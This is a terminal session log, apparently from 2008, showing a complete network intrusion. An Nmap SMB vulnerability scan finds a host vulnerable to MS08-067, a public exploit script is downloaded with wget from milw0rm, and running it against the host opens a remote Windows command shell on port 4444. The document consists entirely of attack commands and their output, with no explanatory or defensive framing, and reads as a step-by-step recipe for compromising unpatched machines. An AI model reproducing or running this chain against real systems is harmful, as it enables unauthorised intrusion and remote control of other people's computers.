hacker / # svn co --username guest --password "" svn://svn.insecure.org/nmap-exp/ron

hacker  / # cd ron/nmap-smb

hacker nmap-smb # ./configure

hacker  nmap-smb # make

hacker  nmap-smb # make install

hacker ron # nmap -T insane --script smb-check-vulns.nse  -p 445 192.168.1.0/24

Starting Nmap 4.76 ( http://nmap.org ) at 2008-11-29 13:43 GMT
Interesting ports on firewall.localhost.com (192.168.1.1):
PORT    STATE    SERVICE
445/tcp filtered microsoft-ds
MAC Address: 00:1A:70:14:3A:E7 (Cisco-Linksys)

Interesting ports on 192.168.1.127:
PORT    STATE  SERVICE
445/tcp closed microsoft-ds

Interesting ports on 192.168.1.128:
PORT    STATE  SERVICE
445/tcp closed microsoft-ds
MAC Address: 00:04:4B:18:69:8A (Nvidia)

Interesting ports on 192.168.1.237:
PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 00:0C:29:4A:B6:6D (VMware)

Host script results:
|_ smb-check-vulns: This host is vulnerable to MS08-067

Nmap done: 256 IP addresses (4 hosts up) scanned in 2.59 second

hacker / # wget http://www.milw0rm.com/exploits/download/7132.py
--13:45:35--  http://www.milw0rm.com/exploits/download/7132.py
           => `7132.py'
Resolving www.milw0rm.com... 76.74.9.18
Connecting to www.milw0rm.com|76.74.9.18|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]

    [ <=>                              ] 7,085         --.--K/s             

13:45:35 (233.53 KB/s) - `7132.py' saved [7085]

hacker / # python 7132.py 192.168.1.237 2

#######################################################################
#   MS08-067 Exploit by Debasis Mohanty (aka tr0y/nopsled)
#   www.hackingspirits.com
#   www.coffeeandsecurity.com
#   Email: d3basis.m0hanty @ gmail.com
#######################################################################

[-]Windows 2003[SP2] payload loaded
[-]Initiating connection
[-]connected to ncacn_np:192.168.1.237[\pipe\browser]
[-]Exploit sent to target successfully...
[1]Telnet to port 4444 on target machine...

hacker / # telnet 192.168.1.237 4444
trying 192.168.1.237...
Connected to 192.168.1.237.
Escape character is '^]'.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>